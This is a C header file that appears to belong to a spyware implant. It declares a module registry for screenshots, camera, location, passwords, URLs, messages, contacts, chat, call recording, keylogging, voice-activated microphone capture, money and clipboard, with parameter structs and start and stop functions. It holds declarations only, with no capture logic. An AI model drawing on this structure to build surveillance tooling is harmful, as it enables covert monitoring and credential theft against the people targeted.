#ifndef _MODULE_H
#define _MODULE_H 1

#include "compat.h"

#include <time.h>
#include "..\Json-c-master\json.h"

#define MODULE_ALL_INDEX -1

#define MODULES \
	MODULE_SCREENSHOT_ENTRY, \
	MODULE_DEVICE_ENTRY, \
	MODULE_APPLICATION_ENTRY, \
	MODULE_POSITION_ENTRY, \
	MODULE_CAMERA_ENTRY, \
	MODULE_MOUSE_ENTRY, \
	MODULE_PASSWORD_ENTRY, \
	MODULE_URL_ENTRY, \
	MODULE_MESSAGES_ENTRY, \
	MODULE_ADDRESSBOOK_ENTRY, \
	MODULE_CHAT_ENTRY, \
	MODULE_CALL_ENTRY, \
	MODULE_KEYLOG_ENTRY, \
	MODULE_MIC_ENTRY, \
	MODULE_MONEY_ENTRY, \
	MODULE_CLIPBOARD_ENTRY,


/* Screenshot */
#define MODULE_SCREENSHOT_INDEX 0
#define MODULE_SCREENSHOT modulev[MODULE_SCREENSHOT_INDEX]
#define MODULE_SCREENSHOT_ENTRY { 0, { -1, -1 }, MODULE_ONESHOT, NULL, NULL, NULL }
typedef struct {
	int window;
	int quality;
} module_screenshot_t;
#define MODULE_SCREENSHOT_P ((module_screenshot_t *)MODULE_SCREENSHOT.param)
#define MODULE_SCREENSHOT_REGISTER(f1, f2) module_register(MODULE_SCREENSHOT_INDEX, f1, f2)

/* Device */
#define MODULE_DEVICE_INDEX 1
#define MODULE_DEVICE modulev[MODULE_DEVICE_INDEX]
#define MODULE_DEVICE_ENTRY { 0, { -1, -1 }, MODULE_ONESHOT, NULL, NULL, NULL }
typedef void module_device_t;
#define MODULE_DEVICE_P ((module_device_t *)MODULE_DEVICE.param)
#define MODULE_DEVICE_REGISTER(f1, f2) module_register(MODULE_DEVICE_INDEX, f1, f2)

/* */
#define MODULE_APPLICATION_INDEX 2
#define MODULE_APPLICATION modulev[MODULE_APPLICATION_INDEX]
#define MODULE_APPLICATION_ENTRY { 0, { -1, -1 }, MODULE_STOPPED, NULL, NULL, NULL }
typedef void module_application_t;
#define MODULE_APPLICATION_P ((module_application_t *)MODULE_APPLICATION.param)
#define MODULE_APPLICATION_REGISTER(f1, f2) module_register(MODULE_APPLICATION_INDEX, f1, f2)

/* */
#define MODULE_POSITION_INDEX 3
#define MODULE_POSITION modulev[MODULE_POSITION_INDEX]
#define MODULE_POSITION_ENTRY { 0, { -1, -1 }, MODULE_ONESHOT, NULL, NULL, NULL }
typedef void module_position_t;
#define MODULE_POSITION_P ((module_position_t *)MODULE_POSITION.param)
#define MODULE_POSITION_REGISTER(f1, f2) module_register(MODULE_POSITION_INDEX, f1, f2)

/* */
#define MODULE_CAMERA_INDEX 4
#define MODULE_CAMERA modulev[MODULE_CAMERA_INDEX]
#define MODULE_CAMERA_ENTRY { 0, { -1, -1 }, MODULE_ONESHOT, NULL, NULL, NULL }
typedef struct {
	int quality;
} module_camera_t;
#define MODULE_CAMERA_P ((module_camera_t *)MODULE_CAMERA.param)
#define MODULE_CAMERA_REGISTER(f1, f2) module_register(MODULE_CAMERA_INDEX, f1, f2)

/* */
#define MODULE_MOUSE_INDEX 5
#define MODULE_MOUSE modulev[MODULE_MOUSE_INDEX]
#define MODULE_MOUSE_ENTRY { 0, { -1, -1 }, MODULE_STOPPED, NULL, NULL, NULL }
typedef struct {
	int width;
	int height;
} module_mouse_t;
#define MODULE_MOUSE_P ((module_mouse_t *)MODULE_MOUSE.param)
#define MODULE_MOUSE_REGISTER(f1, f2) module_register(MODULE_MOUSE_INDEX, f1, f2)

/* */
#define MODULE_PASSWORD_INDEX 6
#define MODULE_PASSWORD modulev[MODULE_PASSWORD_INDEX]
#define MODULE_PASSWORD_ENTRY { 0, { -1, -1 }, MODULE_STOPPED, NULL, NULL, NULL }
typedef void module_password_t;
#define MODULE_PASSWORD_P ((module_password_t *)MODULE_PASSWORD.param)
#define MODULE_PASSWORD_REGISTER(f1, f2) module_register(MODULE_PASSWORD_INDEX, f1, f2)


/* */
#define MODULE_URL_INDEX 7
#define MODULE_URL modulev[MODULE_URL_INDEX]
#define MODULE_URL_ENTRY { 0, { -1, -1 }, MODULE_STOPPED, NULL, NULL, NULL }
typedef void module_url_t;
#define MODULE_URL_P ((module_url_t *)MODULE_URL.param)
#define MODULE_URL_REGISTER(f1, f2) module_register(MODULE_URL_INDEX, f1, f2)


/* */
#define MODULE_MESSAGES_INDEX 8
#define MODULE_MESSAGES modulev[MODULE_MESSAGES_INDEX]
#define MODULE_MESSAGES_ENTRY { 0, { -1, -1 }, MODULE_STOPPED, NULL, NULL, NULL }
typedef struct {
	int enabled;
	int maxsize;
	time_t from;
	time_t to;
} module_messages_t;
#define MODULE_MESSAGES_P ((module_messages_t *)MODULE_MESSAGES.param)
#define MODULE_MESSAGES_REGISTER(f1, f2) module_register(MODULE_MESSAGES_INDEX, f1, f2)


/* */
#define MODULE_ADDRESSBOOK_INDEX 9
#define MODULE_ADDRESSBOOK modulev[MODULE_ADDRESSBOOK_INDEX]
#define MODULE_ADDRESSBOOK_ENTRY { 0, { -1, -1 }, MODULE_STOPPED, NULL, NULL, NULL }
typedef void module_addressbook_t;
#define MODULE_ADDRESSBOOK_P ((module_addressbook_t *)MODULE_ADDRESSBOOK.param)
#define MODULE_ADDRESSBOOK_REGISTER(f1, f2) module_register(MODULE_ADDRESSBOOK_INDEX, f1, f2)


/* */
#define MODULE_CHAT_INDEX 10
#define MODULE_CHAT modulev[MODULE_CHAT_INDEX]
#define MODULE_CHAT_ENTRY { 0, { -1, -1 }, MODULE_STOPPED, NULL, NULL, NULL }
typedef void module_chat_t;
#define MODULE_CHAT_P ((module_chat_t *)MODULE_CHAT.param)
#define MODULE_CHAT_REGISTER(f1, f2) module_register(MODULE_CHAT_INDEX, f1, f2)


/* Call */
#define MODULE_CALL_INDEX 11
#define MODULE_CALL modulev[MODULE_CALL_INDEX]
#define MODULE_CALL_ENTRY { 0, { -1, -1 }, MODULE_STOPPED, NULL, NULL, NULL }
typedef struct {
	int record;
	int compression;
	int bufsize;
} module_call_t;
#define MODULE_CALL_P ((module_call_t *)MODULE_CALL.param)
#define MODULE_CALL_REGISTER(f1, f2) module_register(MODULE_CALL_INDEX, f1, f2)


/* Keylog */
#define MODULE_KEYLOG_INDEX 12
#define MODULE_KEYLOG modulev[MODULE_KEYLOG_INDEX]
#define MODULE_KEYLOG_ENTRY { 0, { -1, -1 }, MODULE_STOPPED, NULL, NULL, NULL }
typedef void module_keylog_t;
#define MODULE_KEYLOG_P ((module_keylog_t *)MODULE_KEYLOG.param)
#define MODULE_KEYLOG_REGISTER(f1, f2) module_register(MODULE_KEYLOG_INDEX, f1, f2)


/* Mic */
#define MODULE_MIC_INDEX 13
#define MODULE_MIC modulev[MODULE_MIC_INDEX]
#define MODULE_MIC_ENTRY { 0, { -1, -1 }, MODULE_STOPPED, NULL, NULL, NULL }
typedef struct {
	int threshold;
	int autosense;
	int silence;
} module_mic_t;
#define MODULE_MIC_P ((module_mic_t *)MODULE_MIC.param)
#define MODULE_MIC_REGISTER(f1, f2) module_register(MODULE_MIC_INDEX, f1, f2)


/* Money */
#define MODULE_MONEY_INDEX 14
#define MODULE_MONEY modulev[MODULE_MONEY_INDEX]
#define MODULE_MONEY_ENTRY { 0, { -1, -1 }, MODULE_ONESHOT, NULL, NULL, NULL }
typedef void module_money_t;
#define MODULE_MONEY_P ((module_money_t *)MODULE_MONEY.param)
#define MODULE_MONEY_REGISTER(f1, f2) module_register(MODULE_MONEY_INDEX, f1, f2)


/* Clipboard */
#define MODULE_CLIPBOARD_INDEX 15
#define MODULE_CLIPBOARD modulev[MODULE_CLIPBOARD_INDEX]
#define MODULE_CLIPBOARD_ENTRY { 0, { -1, -1 }, MODULE_STOPPED, NULL, NULL, NULL }
typedef void module_clipboard_t;
#define MODULE_CLIPBOARD_P ((module_clipboard_t *)MODULE_CLIPBOARD.param)
#define MODULE_CLIPBOARD_REGISTER(f1, f2) module_register(MODULE_CLIPBOARD_INDEX, f1, f2)

typedef thread_func_ret_t(THREAD_FUNC_TYPE *MAIN_FUNCTION)(void *args);

typedef struct {
	thread_t tid;
	pipe_t pipe[2];
	int status;
	void *param;
	MAIN_FUNCTION fpMain;
	void(*flush)(void*);
} module_t;

#define MODULE_ONESHOT  0
#define MODULE_STARTED  1
#define MODULE_STOPPING 2
#define MODULE_STOPPED  3

void mm_init(PRUNTIME pRuntime);
void mm_parseconfig(PRUNTIME pRuntime, json_object *config);

int module_register(int id, MAIN_FUNCTION fpMain, void(*module_flush)(void*));
void module_start(PRUNTIME pRuntime, int id);
void module_stop(PRUNTIME pRuntime, int id);
void module_flush(PRUNTIME pRuntime, int id);


extern module_t modulev[];

#endif /* _MODULE_H */
